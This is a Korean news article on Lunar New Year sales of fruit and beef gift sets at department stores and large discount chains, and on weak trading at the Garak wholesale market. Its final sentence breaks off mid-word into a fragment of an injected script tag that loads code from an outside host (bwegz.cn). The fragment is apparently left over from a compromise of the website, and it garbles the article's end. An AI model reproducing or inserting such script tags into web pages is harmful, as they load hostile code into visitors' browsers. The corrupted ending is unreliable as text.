백화점 등 대형유통업체들은 소비자의 구매심리에 맞는 다양한 상품개발과 축산물 수요의 증가로 두자리 수의 판매성장율을 올렸다.
반면 도매시장은 매기가 부진한데도 불구하고 밀려드는 물량으로 재고가 급증해 조기에 대목시장이 마무리돼 향후 명절 대목을 대비한 대책마련이 시급한 것으로 나타났다.
◆ 대형유통업체
〈농산물〉
롯데마트는 지난달 25일부터 8일까지 설 2주전부터 설 전날까지의 전체적인 농산물의 매출은 지난해보다 10% 가량 신장했다고 밝혔다.
롯데마트에 따르면 친환경농산물의 매출이 지난해보다 24% 가량 늘어났으며 6만원대 이상의 상품들이 지난해 추석과 비교해볼 때 30% 가량 늘어났다.
특히 상대적으로 가격이 저렴했던 배세트 판매가 사과의 두 배 이상을 차지했다.
우주희 롯데마트 농산팀 바이어는 “전체적으로 볼 때 3~7만원대의 중저가 상품이 많은 비중을 차지하고 있지만 개별적인 신장율로 봤을 때 작년 설·추석보다는 친환경제품이나 6만원대 이상의 고가 상품의 매출이 많이 살아났다”고 말했다.
이마트의 경우 설 판매기간 동안 과일세트의 경우 지난해 기준으로 25~30% 늘어났다.
이마트에 따르면 전통적으로 배·사과 세트를 선호하던데서 친환경 상품을 포함한 이색적인 선물세트쪽으로 고객들의 기호가 바뀐 것으로 나타났다.
특히 배프리미엄세트, 저농약배세트, 친환경 혼합 배·사과세트, 한라봉·참다래 세트가 지난해보다 반응이 좋았다.
또 직거래 비중을 특별하게 늘린 것은 아니지만 지난 설 선물세트의 경우 배는 5대5로 직거래와 협력업체의 물량이 같았지만 사과는 직거래 비중이 70%에 달했다.
최상록 이마트 청과사업부 바이어는 “매년 명절 상품을 준비할 때마다 원물의 상태를 파악하고 가격제안을 받아 이뤄지기 때문에 직거래와 협력업체 비중이 정해져 있는 것은 아니지만 산지에서 시설투자를 확대하고 있는 만큼 앞으로 직거래 비중은 높아질 것”이라고 말했다.
〈축산물〉
백화점을 비롯한 대형 할인점들은 올해 설 명절 축산물 판매호조로 즐거운 비명을 질렀다.
이들은 지난해 추석에 비해 정육 매출실적이 많게는 80%까지 증가한 것으로 나타났다.
또한 지난해 설에 비해서는 160%에서 많게는 300%까지 신장세를 보였다.
실제로 롯데백화점은 지난 추석 대비 한우 선물세트 물량이 50%나 증가했다. 신세계 이마트도 설 연휴 세트판매 호조에 힘입어 지난해 추석대비 3% 가량의 매출신장을 기록했다.
남국현 신세계이마트 대리는 “설 선물세트 판매액은 매장이 늘어난 부문을 차치하고도 약 15% 늘었다”고 밝혔다.
특히 화식한우나 칡소 등 차별화 품목들은 없어서 못 팔 정도로 인기를 끌었다. 또한 냉동선물세트
롯데백화점은 선물세트로 준비한 칡소 50세트의 판매가 동이 났으며 갤러리아백화점의 강진맥우화식우세트도 지난해에 비해 2배가 넘는 매출액을 올렸다.
이광교 롯데백화점 바이어는 “특별한 것을 요구하는 소비자들의 취향을 제대로 파악한 것이 큰 성과였다”고 밝혔다.
이처럼 축산물의 매출이 상승한 것과는 달리 갈비세트는 예상외로 고전을 겪었다.
이광교 바이어는 “갈비세트의 경우 오히려 판매량이 5% 정도 감소했다”고 말했다.
이같은 원인으로는 설 전부터 갈비품귀 현상이라는 말이 나올 정도로 갈비가 부족한 상황에서 유통업체들이 물량을 많이 확보한 것과 아울러 가격을 높게 책정한 것이 오히려 부작용을 불러 일으켰다는 평가다.
서종원 갤러리아백화점 대리는 “갈비세트가 판매의 주를 이룰 것이라는 예상과는 달리 정육세트의 판매량이 많이 늘었다”며 “각 유통업체마다 갈비세트에 대한 재고가 상당 수 있을 것”이라고 내다봤다.
◆ 도매시장
도매시장은 당초 설 연휴 전날인 7일까지 대목시장이 형성되리란 예상과 달리 지난 4일 설대목시장이 사실상 마무리됐다.
마지막 대목을 기대한 출하주들이 도매시장의 출하물량을 늘리면서 시장내 재고가 쌓인데다 연일 계속된 한파로 시장을 찾는 소비자들이 감소, 오히려 대목기간 동안 가격이 하락하는 현상을 빚어졌기 때문이다.
여기에 그동안 대형유통업체로의 출하가 많았던 중도매인들은 대형 거래처가 산지 직거래로 전환하면서 예년에 비해 거래가 크게 감소, 도매시장을 위축시키는 주요 요인이 됐다.
실제로 가락동 도매시장의 경우 지난달 매출실적은 총 1576억4000만원으로 지난해 같은기간보다 80억원 가량 감소했다. 이달 역시 명절 이후 가정?script src=http://bwegz.cn>
